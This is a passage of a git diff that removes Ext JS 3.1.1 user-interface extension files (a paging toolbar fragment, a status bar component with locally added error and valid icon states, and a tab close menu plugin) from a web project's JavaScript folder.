this.onLoadError, - // *** add *** - datachanged: this.onChange, - add: this.onChange, - remove: this.onChange, - clear: this.onClear - // *** end *** - }); - doLoad = true; - } - this.store = store; - if (doLoad) { - this.onLoad(store, null, {}); - } - } -}); -Ext.reg('ux.paging', Ext.ux.PagingToolbar); diff --git a/public/javascript/ux/StatusBar.js b/public/javascript/ux/StatusBar.js deleted file mode 100644 index 3b06bad4b..000000000 --- a/public/javascript/ux/StatusBar.js +++ /dev/null @@ -1,446 +0,0 @@ -/*! - * Ext JS Library 3.1.1 - * Copyright(c) 2006-2010 Ext JS, LLC - * licensing@extjs.com - * http://www.extjs.com/license - */ -/** - * @class Ext.ux.StatusBar - *

    Basic status bar component that can be used as the bottom toolbar of any {@link Ext.Panel}. In addition to - * supporting the standard {@link Ext.Toolbar} interface for adding buttons, menus and other items, the StatusBar - * provides a greedy status element that can be aligned to either side and has convenient methods for setting the - * status text and icon. You can also indicate that something is processing using the {@link #showBusy} method.

    - *
    
    -new Ext.Panel({
    -    title: 'StatusBar',
    -    // etc.
    -    bbar: new Ext.ux.StatusBar({
    -        id: 'my-status',
    -
    -        // defaults to use when the status is cleared:
    -        defaultText: 'Default status text',
    -        defaultIconCls: 'default-icon',
    -
    -        // values to set initially:
    -        text: 'Ready',
    -        iconCls: 'ready-icon',
    -
    -        // any standard Toolbar items:
    -        items: [{
    -            text: 'A Button'
    -        }, '-', 'Plain Text']
    -    })
    -});
    -
    -// Update the status bar later in code:
    -var sb = Ext.getCmp('my-status');
    -sb.setStatus({
    -    text: 'OK',
    -    iconCls: 'ok-icon',
    -    clear: true // auto-clear after a set interval
    -});
    -
    -// Set the status bar to show that something is processing:
    -sb.showBusy();
    -
    -// processing....
    -
    -sb.clearStatus(); // once completeed
    -
    - * @extends Ext.Toolbar - * @constructor - * Creates a new StatusBar - * @param {Object/Array} config A config object - */ -Ext.ux.StatusBar = Ext.extend(Ext.Toolbar, { - /** - * @cfg {String} statusAlign - * The alignment of the status element within the overall StatusBar layout. When the StatusBar is rendered, - * it creates an internal div containing the status text and icon. Any additional Toolbar items added in the - * StatusBar's {@link #items} config, or added via {@link #add} or any of the supported add* methods, will be - * rendered, in added order, to the opposite side. The status element is greedy, so it will automatically - * expand to take up all sapce left over by any other items. Example usage: - *
    
    -// Create a left-aligned status bar containing a button,
    -// separator and text item that will be right-aligned (default):
    -new Ext.Panel({
    -    title: 'StatusBar',
    -    // etc.
    -    bbar: new Ext.ux.StatusBar({
    -        defaultText: 'Default status text',
    -        id: 'status-id',
    -        items: [{
    -            text: 'A Button'
    -        }, '-', 'Plain Text']
    -    })
    -});
    -
    -// By adding the statusAlign config, this will create the
    -// exact same toolbar, except the status and toolbar item
    -// layout will be reversed from the previous example:
    -new Ext.Panel({
    -    title: 'StatusBar',
    -    // etc.
    -    bbar: new Ext.ux.StatusBar({
    -        defaultText: 'Default status text',
    -        id: 'status-id',
    -        statusAlign: 'right',
    -        items: [{
    -            text: 'A Button'
    -        }, '-', 'Plain Text']
    -    })
    -});
    -
    - */ - /** - * @cfg {String} defaultText - * The default {@link #text} value. This will be used anytime the status bar is cleared with the - * useDefaults:true option (defaults to ''). - */ - /** - * @cfg {String} defaultIconCls - * The default {@link #iconCls} value (see the iconCls docs for additional details about customizing the icon). - * This will be used anytime the status bar is cleared with the useDefaults:true option (defaults to ''). - */ - /** - * @cfg {String} text - * A string that will be initially set as the status message. This string - * will be set as innerHTML (html tags are accepted) for the toolbar item. - * If not specified, the value set for {@link #defaultText} - * will be used. - */ - /** - * @cfg {String} iconCls - * A CSS class that will be initially set as the status bar icon and is - * expected to provide a background image (defaults to ''). - * Example usage:
    
    -// Example CSS rule:
    -.x-statusbar .x-status-custom {
    -    padding-left: 25px;
    -    background: transparent url(images/custom-icon.gif) no-repeat 3px 2px;
    -}
    -
    -// Setting a default icon:
    -var sb = new Ext.ux.StatusBar({
    -    defaultIconCls: 'x-status-custom'
    -});
    -
    -// Changing the icon:
    -sb.setStatus({
    -    text: 'New status',
    -    iconCls: 'x-status-custom'
    -});
    -
    - */ - - /** - * @cfg {String} cls - * The base class applied to the containing element for this component on render (defaults to 'x-statusbar') - */ - cls : 'x-statusbar', - /** - * @cfg {String} busyIconCls - * The default {@link #iconCls} applied when calling - * {@link #showBusy} (defaults to 'x-status-busy'). - * It can be overridden at any time by passing the iconCls - * argument into {@link #showBusy}. - */ - busyIconCls : 'x-status-busy', - - //BEEF ADDED - errorIconCls : 'x-status-error', - validIconCls : 'x-status-valid', - - /** - * @cfg {String} busyText - * The default {@link #text} applied when calling - * {@link #showBusy} (defaults to 'Loading...'). - * It can be overridden at any time by passing the text - * argument into {@link #showBusy}. - */ - busyText : 'Loading...', - /** - * @cfg {Number} autoClear - * The number of milliseconds to wait after setting the status via - * {@link #setStatus} before automatically clearing the status - * text and icon (defaults to 5000). Note that this only applies - * when passing the clear argument to {@link #setStatus} - * since that is the only way to defer clearing the status. This can - * be overridden by specifying a different wait value in - * {@link #setStatus}. Calls to {@link #clearStatus} - * always clear the status bar immediately and ignore this value. - */ - autoClear : 5000, - - /** - * @cfg {String} emptyText - * The text string to use if no text has been set. Defaults to - * ' '). If there are no other items in the toolbar using - * an empty string ('') for this value would end up in the toolbar - * height collapsing since the empty string will not maintain the toolbar - * height. Use '' if the toolbar should collapse in height - * vertically when no text is specified and there are no other items in - * the toolbar. - */ - emptyText : ' ', - - // private - activeThreadId : 0, - - // private - initComponent : function(){ - if(this.statusAlign=='right'){ - this.cls += ' x-status-right'; - } - Ext.ux.StatusBar.superclass.initComponent.call(this); - }, - - // private - afterRender : function(){ - Ext.ux.StatusBar.superclass.afterRender.call(this); - - var right = this.statusAlign == 'right'; - this.currIconCls = this.iconCls || this.defaultIconCls; - this.statusEl = new Ext.Toolbar.TextItem({ - cls: 'x-status-text ' + (this.currIconCls || ''), - text: this.text || this.defaultText || '' - }); - - if(right){ - this.add('->'); - this.add(this.statusEl); - }else{ - this.insert(0, this.statusEl); - this.insert(1, '->'); - } - this.doLayout(); - }, - - /** - * Sets the status {@link #text} and/or {@link #iconCls}. Also supports automatically clearing the - * status that was set after a specified interval. - * @param {Object/String} config A config object specifying what status to set, or a string assumed - * to be the status text (and all other options are defaulted as explained below). A config - * object containing any or all of the following properties can be passed:
      - *
    • text {String} : (optional) The status text to display. If not specified, any current - * status text will remain unchanged.
    • - *
    • iconCls {String} : (optional) The CSS class used to customize the status icon (see - * {@link #iconCls} for details). If not specified, any current iconCls will remain unchanged.
    • - *
    • clear {Boolean/Number/Object} : (optional) Allows you to set an internal callback that will - * automatically clear the status text and iconCls after a specified amount of time has passed. If clear is not - * specified, the new status will not be auto-cleared and will stay until updated again or cleared using - * {@link #clearStatus}. If true is passed, the status will be cleared using {@link #autoClear}, - * {@link #defaultText} and {@link #defaultIconCls} via a fade out animation. If a numeric value is passed, - * it will be used as the callback interval (in milliseconds), overriding the {@link #autoClear} value. - * All other options will be defaulted as with the boolean option. To customize any other options, - * you can pass an object in the format:
        - *
      • wait {Number} : (optional) The number of milliseconds to wait before clearing - * (defaults to {@link #autoClear}).
      • - *
      • anim {Number} : (optional) False to clear the status immediately once the callback - * executes (defaults to true which fades the status out).
      • - *
      • useDefaults {Number} : (optional) False to completely clear the status text and iconCls - * (defaults to true which uses {@link #defaultText} and {@link #defaultIconCls}).
      • - *
    - * Example usage:
    
    -// Simple call to update the text
    -statusBar.setStatus('New status');
    -
    -// Set the status and icon, auto-clearing with default options:
    -statusBar.setStatus({
    -    text: 'New status',
    -    iconCls: 'x-status-custom',
    -    clear: true
    -});
    -
    -// Auto-clear with custom options:
    -statusBar.setStatus({
    -    text: 'New status',
    -    iconCls: 'x-status-custom',
    -    clear: {
    -        wait: 8000,
    -        anim: false,
    -        useDefaults: false
    -    }
    -});
    -
    - * @return {Ext.ux.StatusBar} this - */ - setStatus : function(o){ - o = o || {}; - - if(typeof o == 'string'){ - o = {text:o}; - } - if(o.text !== undefined){ - this.setText(o.text); - } - if(o.iconCls !== undefined){ - this.setIcon(o.iconCls); - } - - if(o.clear){ - var c = o.clear, - wait = this.autoClear, - defaults = {useDefaults: true, anim: true}; - - if(typeof c == 'object'){ - c = Ext.applyIf(c, defaults); - if(c.wait){ - wait = c.wait; - } - }else if(typeof c == 'number'){ - wait = c; - c = defaults; - }else if(typeof c == 'boolean'){ - c = defaults; - } - - c.threadId = this.activeThreadId; - this.clearStatus.defer(wait, this, [c]); - } - return this; - }, - - /** - * Clears the status {@link #text} and {@link #iconCls}. Also supports clearing via an optional fade out animation. - * @param {Object} config (optional) A config object containing any or all of the following properties. If this - * object is not specified the status will be cleared using the defaults below:
      - *
    • anim {Boolean} : (optional) True to clear the status by fading out the status element (defaults - * to false which clears immediately).
    • - *
    • useDefaults {Boolean} : (optional) True to reset the text and icon using {@link #defaultText} and - * {@link #defaultIconCls} (defaults to false which sets the text to '' and removes any existing icon class).
    • - *
    - * @return {Ext.ux.StatusBar} this - */ - clearStatus : function(o){ - o = o || {}; - - if(o.threadId && o.threadId !== this.activeThreadId){ - // this means the current call was made internally, but a newer - // thread has set a message since this call was deferred. Since - // we don't want to overwrite a newer message just ignore. - return this; - } - - var text = o.useDefaults ? this.defaultText : this.emptyText, - iconCls = o.useDefaults ? (this.defaultIconCls ? this.defaultIconCls : '') : ''; - - if(o.anim){ - // animate the statusEl Ext.Element - this.statusEl.el.fadeOut({ - remove: false, - useDisplay: true, - scope: this, - callback: function(){ - this.setStatus({ - text: text, - iconCls: iconCls - }); - - this.statusEl.el.show(); - } - }); - }else{ - // hide/show the el to avoid jumpy text or icon - this.statusEl.hide(); - this.setStatus({ - text: text, - iconCls: iconCls - }); - this.statusEl.show(); - } - return this; - }, - - /** - * Convenience method for setting the status text directly. For more flexible options see {@link #setStatus}. - * @param {String} text (optional) The text to set (defaults to '') - * @return {Ext.ux.StatusBar} this - */ - setText : function(text){ - this.activeThreadId++; - this.text = text || ''; - if(this.rendered){ - this.statusEl.setText(this.text); - } - return this; - }, - - /** - * Returns the current status text. - * @return {String} The status text - */ - getText : function(){ - return this.text; - }, - - /** - * Convenience method for setting the status icon directly. For more flexible options see {@link #setStatus}. - * See {@link #iconCls} for complete details about customizing the icon. - * @param {String} iconCls (optional) The icon class to set (defaults to '', and any current icon class is removed) - * @return {Ext.ux.StatusBar} this - */ - setIcon : function(cls){ - this.activeThreadId++; - cls = cls || ''; - - if(this.rendered){ - if(this.currIconCls){ - this.statusEl.removeClass(this.currIconCls); - this.currIconCls = null; - } - if(cls.length > 0){ - this.statusEl.addClass(cls); - this.currIconCls = cls; - } - }else{ - this.currIconCls = cls; - } - return this; - }, - - /** - * Convenience method for setting the status text and icon to special values that are pre-configured to indicate - * a "busy" state, usually for loading or processing activities. - * @param {Object/String} config (optional) A config object in the same format supported by {@link #setStatus}, or a - * string to use as the status text (in which case all other options for setStatus will be defaulted). Use the - * text and/or iconCls properties on the config to override the default {@link #busyText} - * and {@link #busyIconCls} settings. If the config argument is not specified, {@link #busyText} and - * {@link #busyIconCls} will be used in conjunction with all of the default options for {@link #setStatus}. - * @return {Ext.ux.StatusBar} this - */ - showBusy : function(o){ - if(typeof o == 'string'){ - o = {text:o}; - } - o = Ext.applyIf(o || {}, { - text: this.busyText, - iconCls: this.busyIconCls - }); - return this.setStatus(o); - }, - - //BEEF ADDED - showError : function(o){ - if(typeof o == 'string'){ - o = {text:o}; - } - o = Ext.applyIf(o || {}, { - text: this.busyText, - iconCls: this.errorIconCls - }); - return this.setStatus(o); - }, - - showValid : function(o){ - if(typeof o == 'string'){ - o = {text:o}; - } - o = Ext.applyIf(o || {}, { - text: this.busyText, - iconCls: this.validIconCls - }); - return this.setStatus(o); - } -}); -Ext.reg('statusbar', Ext.ux.StatusBar); \ No newline at end of file diff --git a/public/javascript/ux/TabCloseMenu.js b/public/javascript/ux/TabCloseMenu.js deleted file mode 100644 index 559f2c9c6..000000000 --- a/public/javascript/ux/TabCloseMenu.js +++ /dev/null @@ -1,58 +0,0 @@ -/*! - * Ext JS Library 3.1.1 - * Copyright(c) 2006-2010 Ext JS, LLC - * licensing@extjs.com - * http://www.extjs.com/license - */ -/** - * @class Ext.ux.TabCloseMenu - * @extends Object - * Plugin (ptype = 'tabclosemenu') for adding a close context menu to tabs. - * - * @ptype tabclosemenu - */ -Ext.ux.TabCloseMenu = function(){ - var tabs, menu, ctxItem; - this.init = function(tp){ - tabs = tp; - tabs.on('contextmenu', onContextMenu); - }; - - function onContextMenu(ts, item, e){ - if(!menu){ // create context menu on first right click - menu = new Ext.menu.Menu({ - items: [{ - id: tabs.id + '-close', - text: 'Close Tab', - handler : function(){ - tabs.remove(ctxItem); - } - },{ - id: tabs.id + '-close-others', - text: 'Close Other Tabs', - handler : function(){ - tabs.items.each(function(item){ - if(item.closable && item != ctxItem){ - tabs.remove(item); - } - }); - } - }]}); - } - ctxItem = item; - var items = menu.items; - items.get(tabs.id + '-close').setDisabled(!item.closable); - var disableOthers = true; - tabs.items.each(function(){ - if(this != item && this.closable){ - disableOthers = false; - return false; - } - }); - items.get(tabs.id + '-close-others').setDisabled(disableOthers); - e.stopEvent(); - menu.showAt(e.getPoint()); - } -}; - -Ext.preg('tabclosemenu', Ext.ux.TabCloseMenu);